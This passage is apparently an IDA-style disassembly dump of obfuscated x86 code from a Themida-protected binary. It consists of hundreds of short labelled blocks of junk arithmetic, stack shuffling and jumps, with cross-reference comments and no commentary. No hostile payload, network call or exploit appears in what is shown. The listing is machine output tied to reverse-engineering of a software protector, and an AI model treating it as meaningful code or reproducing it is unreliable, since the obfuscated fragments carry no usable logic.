ecx mov cl, 0Fh jmp loc_5ADDF0 ; --------------------------------------------------------------------------- loc_5AB1B3: ; CODE XREF: Themida_:005A0606j add ecx, 0FFFFFFFFh xchg eax, ecx push esi push esp pop esi push edx mov edx, 15545836h jmp loc_5ABDA7 ; --------------------------------------------------------------------------- loc_5AB1C5: ; CODE XREF: Themida_:005A6EEDj mov esi, 393A4E2Ch xor esi, 64772D0Ch sub edi, 6FC32EF2h jmp loc_5AB9A5 ; --------------------------------------------------------------------------- loc_5AB1DB: ; CODE XREF: Themida_:00598F49j add edx, ebp pop ebp push dword ptr [esp] pop ecx jmp loc_59A75D ; --------------------------------------------------------------------------- loc_5AB1E7: ; CODE XREF: Themida_:005AFB3Fj jnp loc_59BF2E add edx, 8BFF2E2h jmp loc_59F480 ; --------------------------------------------------------------------------- db 88h, 0C9h ; --------------------------------------------------------------------------- push esp loc_5AB1FB: ; CODE XREF: Themida_:0059F734j push 64CB0A8Ah jmp loc_5A474B ; --------------------------------------------------------------------------- loc_5AB205: ; CODE XREF: Themida_:0059E785j mov [esp], eax jmp loc_5A060B ; --------------------------------------------------------------------------- loc_5AB20D: ; CODE XREF: Themida_:005A161Dj push ebp mov ebp, 1716607Fh add esi, ebp pop ebp add esi, 0ED1D667Bh jmp loc_5AD96A ; --------------------------------------------------------------------------- loc_5AB221: ; CODE XREF: Themida_:005A415Dj push edx mov dh, 45h jmp loc_59BEB3 ; --------------------------------------------------------------------------- loc_5AB229: ; CODE XREF: Themida_:005A08FFj neg cl jmp loc_5AEE6A ; --------------------------------------------------------------------------- loc_5AB230: ; CODE XREF: Themida_:0059E5D5j mov ch, 0D5h sub dl, ch pop cx add al, dl jmp loc_5A7E18 ; --------------------------------------------------------------------------- loc_5AB23D: ; CODE XREF: Themida_:00599E54j pop esi push ebx mov ebx, 2 jmp loc_59CAC7 ; --------------------------------------------------------------------------- loc_5AB249: ; CODE XREF: Themida_:005AE67Fj mov ebp, esp add ebp, 4 jmp loc_5A405E ; --------------------------------------------------------------------------- loc_5AB256: ; CODE XREF: Themida_:005A7FC8j xor edx, [esp] mov esp, [esp] mov [esp], cx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AB265: ; CODE XREF: Themida_:0059E5EFj mov eax, esi pop esi sub eax, esi push esi jmp loc_59A1CB ; --------------------------------------------------------------------------- loc_5AB270: ; CODE XREF: Themida_:005A7DB1j push ebp jmp loc_5A4843 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_59B5F6 ; --------------------------------------------------------------------------- loc_5AB285: ; CODE XREF: Themida_:005A3A27j push dword ptr [esp] pop edx push ebp jmp loc_5A4BD9 ; --------------------------------------------------------------------------- loc_5AB28F: ; CODE XREF: Themida_:005A8CBEj xor edi, edx pop edx or edi, 57E254B8h sub edi, 7B57287h sub edi, 6D7B7B4Ch jmp loc_5A95CA ; --------------------------------------------------------------------------- loc_5AB2A9: ; CODE XREF: Themida_:005ADEE4j mov esi, esp jmp loc_59A7B2 ; --------------------------------------------------------------------------- loc_5AB2B0: ; CODE XREF: Themida_:005A2A91j add edx, ebp sub edx, 7381274Dh sub edx, 52143162h pop ebp sub edx, 2 jmp loc_59F121 ; --------------------------------------------------------------------------- loc_5AB2CA: ; CODE XREF: Themida_:00599603j ; Themida_:0059DC5Dj add esp, 4 push edx mov edx, 4 add ebp, edx jmp loc_5A99AF ; --------------------------------------------------------------------------- loc_5AB2DA: ; CODE XREF: Themida_:005AA3F0j add esp, 4 push ecx mov ch, 48h push dx mov dl, 59h jmp loc_5AB38D ; --------------------------------------------------------------------------- loc_5AB2E9: ; CODE XREF: Themida_:005ABBC7j mov [esp], esi push 0FFBh mov [esp], ebx push dword ptr [esp] pop esi push eax mov eax, esp push esi mov esi, 67776AC3h push edx push ecx jmp loc_5A028A ; --------------------------------------------------------------------------- loc_5AB308: ; CODE XREF: Themida_:0059B70Fj pop ebx sub esp, 4 mov [esp], ebp mov ebp, esp push edi mov edi, 46250A8Ch shl edi, 1 add edi, 1 shl edi, 7 xor edi, 250A8C84h add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 jmp loc_5AC3C9 ; --------------------------------------------------------------------------- loc_5AB347: ; CODE XREF: Themida_:005ADBB8j dec eax and eax, 525D6020h inc eax jmp loc_5A1E9F ; --------------------------------------------------------------------------- loc_5AB353: ; CODE XREF: Themida_:005ACFC4j or edx, 608226DAh xor edx, 1A591075h jmp loc_59DE97 ; --------------------------------------------------------------------------- loc_5AB364: ; CODE XREF: Themida_:0059A519j ; Themida_:loc_5A549Aj jnz loc_5A08AD jmp loc_5A68BA ; --------------------------------------------------------------------------- push dword ptr [esp+4] pop ecx pop dword ptr [esp] and al, 0E4h loc_5AB379: ; CODE XREF: Themida_:0059E3F8j push eax mov eax, 410A65E2h jmp loc_598E99 ; --------------------------------------------------------------------------- loc_5AB384: ; CODE XREF: Themida_:0059F7CEj add ecx, 4 push ecx jmp loc_5A08B2 ; --------------------------------------------------------------------------- loc_5AB38D: ; CODE XREF: Themida_:005AB2E4j sub ch, dl pop dx sub al, ch jmp loc_59A4F7 ; --------------------------------------------------------------------------- loc_5AB398: ; CODE XREF: Themida_:005A3E8Cj mov ebp, edi jmp loc_5A7841 ; --------------------------------------------------------------------------- loc_5AB39F: ; CODE XREF: Themida_:005A8B3Bj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg eax, [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AB3BF: ; CODE XREF: Themida_:005A1D34j sub edx, edi pop edi add edx, eax add edx, 22721680h jmp loc_599B16 ; --------------------------------------------------------------------------- loc_5AB3CF: ; CODE XREF: Themida_:005A08A3j ; Themida_:005ABC79j add edi, 4 xchg edi, [esp] pop esp jmp loc_5A5854 ; --------------------------------------------------------------------------- loc_5AB3DB: ; CODE XREF: Themida_:005A4CB2j pop dword ptr [esp] pop esp jmp loc_5A7653 ; --------------------------------------------------------------------------- loc_5AB3E4: ; CODE XREF: Themida_:005A1AA4j neg ebp and ebp, 2D952A5Eh xor ebp, 3650095Bh xor ebp, 16D12319h add edx, 6C973FB4h add edx, ebp push ecx mov ecx, 63271EA0h and ecx, 70052861h neg ecx and ecx, 6A933194h inc ecx shr ecx, 6 jmp loc_5A4D2E ; --------------------------------------------------------------------------- loc_5AB41D: ; CODE XREF: Themida_:005A3195j mov [esp], ebx mov bl, 82h inc bl jmp loc_5ADEF8 ; --------------------------------------------------------------------------- loc_5AB429: ; CODE XREF: Themida_:005A2C67j pop ebx jmp loc_5ADD00 ; --------------------------------------------------------------------------- loc_5AB42F: ; CODE XREF: Themida_:0059966Cj and ebx, 48836D0Ah jmp loc_5ACC0F ; --------------------------------------------------------------------------- loc_5AB43A: ; CODE XREF: Themida_:005A912Bj add edi, 2 xchg edi, [esp] mov esp, [esp] sub esp, 4 jmp loc_5A0F32 ; --------------------------------------------------------------------------- loc_5AB451: ; CODE XREF: Themida_:005A9703j and eax, esi mov esi, [esp] add esp, 4 or eax, eax jz loc_5A45FE push dword ptr [edi+1Ch] jmp loc_5AAF7C ; --------------------------------------------------------------------------- loc_5AB469: ; CODE XREF: Themida_:005AB750j mov bl, al pop eax push eax mov al, bl mov ch, al pop eax pop ebx pop edx mov ah, 3Fh sub ah, ch pop ecx jmp loc_59CB5C ; --------------------------------------------------------------------------- loc_5AB47E: ; CODE XREF: Themida_:005A5E24j mov edi, 0ABF2FCFh add edi, 18A930B0h sub ebx, edi pop edi add ebx, edx add ebx, 2368607Fh mov edx, [esp] add esp, 4 push ebp push edi jmp loc_5AA39A ; --------------------------------------------------------------------------- loc_5AB4A4: ; CODE XREF: Themida_:005A2585j pop esp shr eax, 0Bh xor ecx, eax push esi mov esi, ebx jmp loc_5A994F ; --------------------------------------------------------------------------- loc_5AB4B2: ; CODE XREF: Themida_:0059A59Fj mov esi, esp add esi, 4 jmp loc_5A81DA ; --------------------------------------------------------------------------- loc_5AB4BF: ; CODE XREF: Themida_:00598C69j neg ch js loc_5AB936 add ch, 13h jmp loc_59B855 ; --------------------------------------------------------------------------- loc_5AB4CF: ; CODE XREF: Themida_:005A4769j xor [esp], ebx pop dword ptr [edi+24h] jmp loc_5A6A7C ; --------------------------------------------------------------------------- loc_5AB4DA: ; CODE XREF: Themida_:005AF374j push eax jmp loc_59D909 ; --------------------------------------------------------------------------- loc_5AB4E0: ; CODE XREF: Themida_:005AD9D2j pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_5A72C0 ; --------------------------------------------------------------------------- loc_5AB4F0: ; CODE XREF: Themida_:005AC29Ej mov ecx, ebx jmp loc_5A5C35 ; --------------------------------------------------------------------------- loc_5AB4F7: ; CODE XREF: Themida_:005ACBF7j mov esi, [esp] add esp, 4 push ebp pop ebx push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 push ebp mov ebp, esp jmp loc_5A89F4 ; --------------------------------------------------------------------------- loc_5AB517: ; CODE XREF: Themida_:005A8D2Ej push edi push 1FAB5B69h pop edi mov ebx, 1FAB5B6Dh sub ebx, edi mov edi, [esp] jmp loc_5AA24C ; --------------------------------------------------------------------------- loc_5AB52D: ; CODE XREF: Themida_:005AE757j pop eax push edi mov edi, 534E3A5Ah sub edx, edi mov edi, [esp] add esp, 4 push eax jmp loc_5ABE7A ; --------------------------------------------------------------------------- loc_5AB542: ; CODE XREF: Themida_:00599247j mov ecx, 0F01513Bh and ecx, 6F323A21h dec ecx shl ecx, 5 add ecx, 64413F50h add esi, ecx pop ecx jmp loc_59ECA3 ; --------------------------------------------------------------------------- loc_5AB55F: ; CODE XREF: Themida_:005A2058j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 0FFFFFFFFh add ebx, ecx jmp loc_5AEE94 ; --------------------------------------------------------------------------- loc_5AB578: ; CODE XREF: Themida_:005A7563j push ecx sub esp, 4 mov [esp], eax mov eax, 745D6294h shl eax, 3 shr eax, 5 push edi jmp loc_59F34C ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebp push eax push 50BF0B14h jmp loc_5A286D ; --------------------------------------------------------------------------- loc_5AB5A1: ; CODE XREF: Themida_:005A8043j push ebp jmp loc_59EBC3 ; --------------------------------------------------------------------------- loc_5AB5A7: ; CODE XREF: Themida_:005AC7F1j and bl, 0F8h ja loc_59C18F or bl, 95h jmp loc_59CBD0 ; --------------------------------------------------------------------------- xchg ecx, [esp] pop esp loc_5AB5BC: ; CODE XREF: Themida_:0059D408j add esp, 4 push ebp mov ebp, 7D703983h push 0 sub [esp], ebp pop ebp shr ebp, 6 sub ebp, 481D180Bh xor ebp, 95B273ECh sub ebx, ebp jmp loc_5AD0D1 ; --------------------------------------------------------------------------- loc_5AB5E7: ; CODE XREF: Themida_:005A1BDAj shl edi, 2 sub edi, 1724F75Ch jmp loc_59C83B ; --------------------------------------------------------------------------- loc_5AB5F5: ; CODE XREF: Themida_:005AA92Ej sub esp, 4 mov [esp], ebx push edi mov edi, 235959BEh mov ebx, edi pop edi or ebx, 67BC2208h xor ebx, 66B80B39h xchg eax, ebx jmp loc_5AE3D4 ; --------------------------------------------------------------------------- loc_5AB619: ; CODE XREF: Themida_:0059CEA1j sub esi, 74843531h inc esi sub esi, 4CDD1B8Ch push ebx jmp loc_5AE240 ; --------------------------------------------------------------------------- loc_5AB62C: ; CODE XREF: Themida_:0059AB1Ej push 64E0h jmp loc_5A307A ; --------------------------------------------------------------------------- loc_5AB636: ; CODE XREF: Themida_:loc_59C69Fj jmp loc_59D080 ; --------------------------------------------------------------------------- loc_5AB63B: ; CODE XREF: Themida_:005A1512j xor ebp, [esp] mov esp, [esp] mov [esp], esi push ebx mov ebx, eax mov esi, ebx mov ebx, [esp] jmp loc_5AF8CB ; --------------------------------------------------------------------------- loc_5AB651: ; CODE XREF: Themida_:0059976Cj add edx, 7C3C4A60h pop esi push ebx push edx jmp loc_5ACC47 ; --------------------------------------------------------------------------- loc_5AB65F: ; CODE XREF: Themida_:0059CB7Ej add esi, 4 push ecx jmp loc_5A3EFC ; --------------------------------------------------------------------------- loc_5AB66B: ; CODE XREF: Themida_:005A8DC8j pop ebx sub dl, 0CEh mov bh, dl mov edx, [esp] add esp, 4 push ecx mov ecx, esp push ebp mov ebp, 4 add ecx, ebp pop ebp sub ecx, 2 jmp loc_5A9AEE ; --------------------------------------------------------------------------- loc_5AB68B: ; CODE XREF: Themida_:0059AA1Aj ; Themida_:005ADBDDj pop edx mov edi, [esp] add esp, 4 not edi xchg edi, edx xchg edx, edi xchg edi, [esp] mov eax, [esp] jmp loc_59CDBD ; --------------------------------------------------------------------------- loc_5AB6A3: ; CODE XREF: Themida_:005A4A63j pop ebp sub edi, 4 xchg edi, [esp] jmp loc_5AABDD ; --------------------------------------------------------------------------- loc_5AB6B2: ; CODE XREF: Themida_:005AAB2Fj neg ebx shr ebx, 3 jmp loc_5A4B7C ; --------------------------------------------------------------------------- loc_5AB6BC: ; CODE XREF: Themida_:0059A8D2j not ebx xor ebx, 0FCA513DAh jmp loc_59E6A9 ; --------------------------------------------------------------------------- loc_5AB6C9: ; CODE XREF: Themida_:005ADCB6j add ebx, ebp jmp loc_5A39DE ; --------------------------------------------------------------------------- loc_5AB6D0: ; CODE XREF: Themida_:0059EA12j mov [esp], eax mov eax, 2 jmp loc_59DB7C ; --------------------------------------------------------------------------- loc_5AB6DD: ; CODE XREF: Themida_:005A24D6j pop eax add dword ptr [esp+4], 64587624h sub dword ptr [esp+4], 245F52DAh sub dword ptr [esp+4], 6E922586h add [esp+4], ebp add dword ptr [esp+4], 6E922586h add dword ptr [esp+4], 245F52DAh sub dword ptr [esp+4], 64587624h pop ebp pop esi push ebp mov ebp, 4 add esi, 425445DBh add esi, ebp jmp loc_5AF2FC ; --------------------------------------------------------------------------- loc_5AB727: ; CODE XREF: Themida_:0059B7D7j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx jmp loc_5AE764 ; --------------------------------------------------------------------------- loc_5AB747: ; CODE XREF: Themida_:005A98EBj not dh xor dh, 0C8h push ebx push eax mov al, dh jmp loc_5AB469 ; --------------------------------------------------------------------------- loc_5AB755: ; CODE XREF: Themida_:0059C339j ; Themida_:005A3C17j sub al, 67h sub al, 0D9h jmp loc_5A129D ; --------------------------------------------------------------------------- loc_5AB75E: ; CODE XREF: Themida_:005A3160j add edx, 4 jmp loc_5A021A ; --------------------------------------------------------------------------- loc_5AB766: ; CODE XREF: Themida_:005A9D21j pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] add [esp], al pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AB78A: ; CODE XREF: Themida_:005AB832j add dh, 1 xor dh, cl jmp loc_5A8939 ; --------------------------------------------------------------------------- loc_5AB794: ; CODE XREF: Themida_:005A1899j mov edi, 44066D6Ch xor edi, 2877F04h jmp loc_599723 ; --------------------------------------------------------------------------- loc_5AB7A4: ; CODE XREF: Themida_:0059E522j mov dh, cl mov ecx, [esp] add esp, 4 xor dh, 0C9h jmp loc_5AD08F ; --------------------------------------------------------------------------- loc_5AB7B7: ; CODE XREF: Themida_:0059BC75j push ecx push eax mov ah, 0D5h mov cl, ah pop eax mov bl, 0B9h sub bl, cl jmp loc_5AA996 ; --------------------------------------------------------------------------- loc_5AB7C7: ; CODE XREF: Themida_:005A16D9j push ebx mov bh, 47h jmp loc_5A0B1B ; --------------------------------------------------------------------------- loc_5AB7CF: ; CODE XREF: Themida_:0059F7E8j add eax, 22A52BF9h push dword ptr [esp] pop ebp push edi jmp loc_5A470D ; --------------------------------------------------------------------------- loc_5AB7DE: ; CODE XREF: Themida_:0059A046j mov cl, dl pop edx jmp loc_5A7175 ; --------------------------------------------------------------------------- loc_5AB7E6: ; CODE XREF: Themida_:0059A6EFj mov dh, al pop eax jmp loc_5A2710 ; --------------------------------------------------------------------------- loc_5AB7EE: ; CODE XREF: Themida_:005AB13Dj inc ch dec ch sub esp, 4 mov [esp], edx mov dh, 9Eh sub ch, 11h jmp loc_5A487F ; --------------------------------------------------------------------------- loc_5AB805: ; CODE XREF: Themida_:005AE2D2j push edi push esp pop edi push edx mov edx, 2D774D79h not edx jmp loc_5AE03E ; --------------------------------------------------------------------------- loc_5AB815: ; CODE XREF: Themida_:005A5410j add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_5A7F04 ; --------------------------------------------------------------------------- loc_5AB829: ; CODE XREF: Themida_:0059CB5Ej mov eax, [esp] add esp, 4 jmp loc_5AB78A ; --------------------------------------------------------------------------- loc_5AB837: ; CODE XREF: Themida_:005AF136j add edx, ebp pop ebp jmp loc_5A55D4 ; --------------------------------------------------------------------------- loc_5AB83F: ; CODE XREF: Themida_:0059B54Dj ; Themida_:0059ED38j pop dx shl dx, 6 shr dx, 2 shr dx, 4 xor dx, 3D57h and bx, dx jmp loc_5AA0A3 ; --------------------------------------------------------------------------- loc_5AB85A: ; CODE XREF: Themida_:005A8D9Dj add esp, 4 pop esi xchg edi, [esp] jmp loc_599AEA ; --------------------------------------------------------------------------- loc_5AB869: ; CODE XREF: Themida_:005A65ABj and dword ptr [edx+38h], 371A3221h jnb loc_5A8A8F or dword ptr [edx+38h], 43762E44h jmp loc_5A8F01 ; --------------------------------------------------------------------------- loc_5AB882: ; CODE XREF: Themida_:005A5AE0j pop edx pop bx push small 709Fh mov [esp], bx push eax mov ah, 6Bh shl ah, 6 jmp loc_5ACF5E ; --------------------------------------------------------------------------- loc_5AB898: ; CODE XREF: Themida_:0059CF38j push esi push 794Fh mov [esp], esp add dword ptr [esp], 4 pop esi sub esp, 4 mov [esp], ebx mov ebx, 12783C2Ah sub esp, 4 mov [esp], esi push ebx mov ebx, 45F35881h jmp loc_5ACE34 ; --------------------------------------------------------------------------- loc_5AB8C5: ; CODE XREF: Themida_:005A6B36j mov esp, [esp] btr [esp], ax pushf jmp loc_59F281 ; --------------------------------------------------------------------------- loc_5AB8D3: ; CODE XREF: Themida_:0059ABB7j pop edi jmp loc_598CB4 ; --------------------------------------------------------------------------- loc_5AB8D9: ; CODE XREF: Themida_:005A6566j push ebx push 32D903F7h jmp loc_59F828 ; --------------------------------------------------------------------------- loc_5AB8E4: ; CODE XREF: Themida_:005A0540j ; Themida_:005A1EB1j xchg ebp, [esp] jmp loc_59C403 ; --------------------------------------------------------------------------- loc_5AB8EC: ; CODE XREF: Themida_:005996D5j ; Themida_:0059DDDFj mov edx, 2FF930E8h add eax, 44F6E04h add eax, 12A3108Dh add eax, edx sub eax, 12A3108Dh push ebp push edx mov edx, 0CC54B6Fh add edx, 615E1EEFh or edx, 549D4CEDh not edx or edx, 6071220Ch xor edx, 0E53EDD08h mov ebp, edx push dword ptr [esp] jmp loc_5AF68A ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5AF1B9 ; --------------------------------------------------------------------------- loc_5AB936: ; CODE XREF: Themida_:005AB4C1j add ch, 13h jmp loc_5A23E9 ; --------------------------------------------------------------------------- loc_5AB93E: ; DATA XREF: Themida_:005987B4o push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AB94D: ; CODE XREF: Themida_:005A41BAj mov edi, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5A433B ; --------------------------------------------------------------------------- loc_5AB965: ; CODE XREF: Themida_:005AA60Ej mov ebx, 6A421636h shr ebx, 3 jmp loc_5AB0EA ; --------------------------------------------------------------------------- loc_5AB972: ; CODE XREF: Themida_:005A50CEj push esi mov esi, 23CC3A7Dh mov eax, 0A3708E4h add eax, esi pop esi sub edx, 1AC6506Dh add edx, 7556078Dh add edx, eax sub edx, 7556078Dh add edx, 1AC6506Dh jmp loc_59E2E1 ; --------------------------------------------------------------------------- loc_5AB99F: ; CODE XREF: Themida_:005A353Aj push eax jmp loc_5A27E6 ; --------------------------------------------------------------------------- loc_5AB9A5: ; CODE XREF: Themida_:005AB1D6j add edi, esi jmp loc_599E14 ; --------------------------------------------------------------------------- loc_5AB9AC: ; CODE XREF: Themida_:005AD7B7j shl ebx, 4 and ebx, 7EA06660h sub ebx, 31BF71EEh shl ebx, 2 sub ebx, 6F729B71h mov edi, ebx mov ebx, [esp] add esp, 4 sub edi, 54E13A5Fh jl loc_5A2208 xor edi, 52DE3100h jg loc_5AF621 push ecx mov ecx, 4E77E6Eh jmp loc_59A0B7 ; --------------------------------------------------------------------------- pop edx loc_5AB9F0: ; CODE XREF: Themida_:005A9461j add esi, 4 push edi mov edi, 4 add esi, edi pop edi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] shr eax, 8 jmp loc_5A6F0F ; --------------------------------------------------------------------------- loc_5ABA13: ; CODE XREF: Themida_:0059A634j push small 2EDDh mov [esp], dx mov dh, 0Ah jmp loc_5A61B9 ; --------------------------------------------------------------------------- loc_5ABA22: ; CODE XREF: Themida_:005A4773j add ebx, edi pop edi push ebp mov ebp, 53AE2427h not ebp push edx mov edx, 6F0829CFh jmp loc_59DCC6 ; --------------------------------------------------------------------------- loc_5ABA38: ; CODE XREF: Themida_:005A0780j push esp jmp loc_5A2317 ; --------------------------------------------------------------------------- loc_5ABA3E: ; CODE XREF: Themida_:005A48FAj add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_5AE080 ; --------------------------------------------------------------------------- loc_5ABA4E: ; CODE XREF: Themida_:005A7D9Dj mov edx, esp add edx, 4 push ebp push esp pop ebp add ebp, 4 jmp loc_5AEA18 ; --------------------------------------------------------------------------- loc_5ABA64: ; CODE XREF: Themida_:0059C6CAj add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_5ABD80 ; --------------------------------------------------------------------------- loc_5ABA80: ; CODE XREF: Themida_:005A3879j mov edx, ebp push dword ptr [esp] jmp loc_5AAB8C ; --------------------------------------------------------------------------- loc_5ABA8A: ; CODE XREF: Themida_:005AECAEj pop esi shr ecx, 2 push ebx push dword ptr [esp] pop eax push 6059h jmp loc_5A15A9 ; --------------------------------------------------------------------------- loc_5ABA9D: ; CODE XREF: Themida_:0059CB30j jp loc_5AF3A0 dec ebx jno loc_5A1B79 or ebx, 2B3D7309h jmp loc_5A2441 ; --------------------------------------------------------------------------- sub bl, 43h push ebx loc_5ABAB9: ; CODE XREF: Themida_:0059E6E4j pop eax jmp loc_5AFCB0 ; --------------------------------------------------------------------------- loc_5ABABF: ; CODE XREF: Themida_:005A4594j mov ecx, 46F51035h or ecx, 66196D89h jnp loc_5AC886 shl ecx, 8 js loc_5AD1BF add ecx, 2824304h mov edx, ecx jmp loc_5ADD33 ; --------------------------------------------------------------------------- mov ebx, edi loc_5ABAE8: ; CODE XREF: Themida_:005A1B49j pop edx push esi mov esi, 2 add ebx, esi mov esi, [esp] add esp, 4 xor ebx, [esp] jmp loc_5AA65B ; --------------------------------------------------------------------------- loc_5ABB02: ; CODE XREF: Themida_:005AE3A5j pop esp mov [esp], ebp mov ebp, esp jmp loc_5A7D31 ; --------------------------------------------------------------------------- loc_5ABB0D: ; CODE XREF: Themida_:0059BCBFj mov edi, 3F10734Dh jmp loc_5A113D ; --------------------------------------------------------------------------- loc_5ABB17: ; CODE XREF: Themida_:005AAD06j mov [esp], ecx push edx push 607A2AADh pop edx jmp loc_59E3F1 ; --------------------------------------------------------------------------- loc_5ABB26: ; CODE XREF: Themida_:00599311j push esi mov esi, esp jmp loc_59E28A ; --------------------------------------------------------------------------- loc_5ABB2E: ; CODE XREF: Themida_:005AF902j mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ebp, edi jmp loc_5A3D3A ; --------------------------------------------------------------------------- loc_5ABB48: ; CODE XREF: Themida_:005A980Bj mov edx, 471C1E27h add [esp+8], edx pop edx push dword ptr [esp] pop eax add esp, 4 add dword ptr [esp], 71906020h sub [esp], eax jmp loc_5ACA32 ; --------------------------------------------------------------------------- loc_5ABB6B: ; CODE XREF: Themida_:005A4D93j add edx, eax jmp loc_5A3512 ; --------------------------------------------------------------------------- loc_5ABB72: ; CODE XREF: Themida_:005A0FDEj sub edx, 0D791EDB9h add ebx, edx jmp loc_59F104 ; --------------------------------------------------------------------------- loc_5ABB7F: ; CODE XREF: Themida_:0059B338j ; Themida_:005A0DB5j mov edi, edx mov edx, [esp] push ebp push esp jmp loc_5989B1 ; --------------------------------------------------------------------------- loc_5ABB8B: ; CODE XREF: Themida_:005A9BD1j mov eax, 56305DFAh mov edi, eax pop eax shl edi, 3 shr edi, 2 sub esp, 4 mov [esp], ebx mov ebx, 17079FFh sub ebx, 1 shl ebx, 5 or ebx, 3FF006DBh jmp loc_5AF98C ; --------------------------------------------------------------------------- loc_5ABBBB: ; CODE XREF: Themida_:005A49CEj add esp, 4 pop esi loc_5ABBC2: ; CODE XREF: Themida_:005A0BE0j push 7F4Eh jmp loc_5AB2E9 ; --------------------------------------------------------------------------- loc_5ABBCC: ; CODE XREF: Themida_:005A30C2j pop edx add ecx, 29940A50h jmp loc_59B957 ; --------------------------------------------------------------------------- loc_5ABBD8: ; CODE XREF: Themida_:005AED1Bj push ecx push edi mov edi, 7F1C3021h mov ecx, 83F0E95Dh sub ecx, 338C0DE8h sub ecx, 0B890D40h jmp loc_59D374 ; --------------------------------------------------------------------------- loc_5ABBF5: ; CODE XREF: Themida_:005AA4DEj js loc_59B164 jmp loc_5AA86F ; --------------------------------------------------------------------------- and al, 0C9h or al, 33h not al push ecx pop esi loc_5ABC08: ; CODE XREF: Themida_:005A4CACj mov si, 2 add [esp+2], si jmp loc_59A6A6 ; --------------------------------------------------------------------------- loc_5ABC16: ; CODE XREF: Themida_:005AF691j sub eax, 5A03512h add eax, 7584258Fh sub eax, ebp sub eax, 7584258Fh add eax, 5A03512h pop ebp push dword ptr [esp] pop edx add esp, 4 jmp loc_5A71DC ; --------------------------------------------------------------------------- loc_5ABC3C: ; CODE XREF: Themida_:00599FABj mov edx, 0F2BAF70Dh xor eax, edx jmp loc_59940B ; --------------------------------------------------------------------------- loc_5ABC48: ; CODE XREF: Themida_:005A3F25j add edx, eax jmp loc_5A5D67 ; --------------------------------------------------------------------------- loc_5ABC4F: ; CODE XREF: Themida_:0059FC05j mov ebx, 32EE7D04h or ebx, 53D87871h jbe loc_5ACBFC add ebx, 0FB3C8468h add ebp, ebx jmp loc_5A4654 ; --------------------------------------------------------------------------- loc_5ABC6D: ; CODE XREF: Themida_:005A94D5j mov ecx, [esp] push edi mov edi, esp add edi, 4 jmp loc_5AB3CF ; --------------------------------------------------------------------------- loc_5ABC7E: ; CODE XREF: Themida_:00599B71j add ebx, 4 xchg ebx, [esp] jmp loc_5AC38E ; --------------------------------------------------------------------------- loc_5ABC89: ; CODE XREF: Themida_:0059C332j push esi push ebp push 62365A66h pop ebp shr ebp, 4 jnz loc_5A6AC0 push eax mov eax, 2E23690Ch shl eax, 8 jnp loc_59B49F loc_5ABCA9: ; CODE XREF: Themida_:0059BA61j jnz loc_5A6F66 jmp loc_5AAEB1 ; --------------------------------------------------------------------------- push 1C06h mov [esp], esi push edx loc_5ABCBD: ; CODE XREF: Themida_:005A1F2Dj add esi, 214B200Ah add esi, 68AB291Ah sub esi, 40D96C98h add esi, 8B3749Ah add esi, 1FE91078h jmp loc_5AE69E ; --------------------------------------------------------------------------- loc_5ABCE0: ; CODE XREF: Themida_:005AA166j add ebx, eax pop eax jmp loc_5AC7CD ; --------------------------------------------------------------------------- loc_5ABCE8: ; CODE XREF: Themida_:005A072Ej push esi mov esi, 2 mov eax, esi jmp loc_59B974 ; --------------------------------------------------------------------------- loc_5ABCF5: ; CODE XREF: Themida_:0059A103j mov eax, 4 add [esp+4], eax pop eax push dword ptr [esp] pop eax add esp, 4 push ecx push ebx mov ebx, 5B463DB4h inc ebx jmp loc_5A19B1 ; --------------------------------------------------------------------------- loc_5ABD13: ; CODE XREF: Themida_:005ABDB9j mov [esp], ebx push edx mov edx, 4 jmp loc_59AEEA ; --------------------------------------------------------------------------- loc_5ABD21: ; CODE XREF: Themida_:005A69D7j sub edx, ebp jmp loc_5AED7D ; --------------------------------------------------------------------------- loc_5ABD28: ; CODE XREF: Themida_:005AE1A6j mov dx, [esp] push 8DEh mov [esp], edx jmp loc_5A801F ; --------------------------------------------------------------------------- loc_5ABD39: ; CODE XREF: Themida_:005A836Aj push edx mov dl, 65h dec dl and dl, 0BFh add dl, 57h jmp loc_5A7B41 ; --------------------------------------------------------------------------- loc_5ABD49: ; CODE XREF: Themida_:005A2590j mov [esp], edx mov edx, 63F47A6Ah xor edi, edx mov edx, [esp] add esp, 4 add esi, 26180E49h add esi, edi sub esi, 26180E49h pop edi jmp loc_59F240 ; --------------------------------------------------------------------------- loc_5ABD6D: ; CODE XREF: Themida_:0059D833j sub esp, 4 jmp loc_59CB24 ; --------------------------------------------------------------------------- loc_5ABD78: ; CODE XREF: Themida_:005A8764j mov ecx, [esp] jmp loc_59DEF4 ; --------------------------------------------------------------------------- loc_5ABD80: ; CODE XREF: Themida_:005ABA7Bj mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5A392D ; --------------------------------------------------------------------------- loc_5ABD94: ; CODE XREF: Themida_:005A43D6j push 5B1Ah jmp loc_59D6ED ; --------------------------------------------------------------------------- 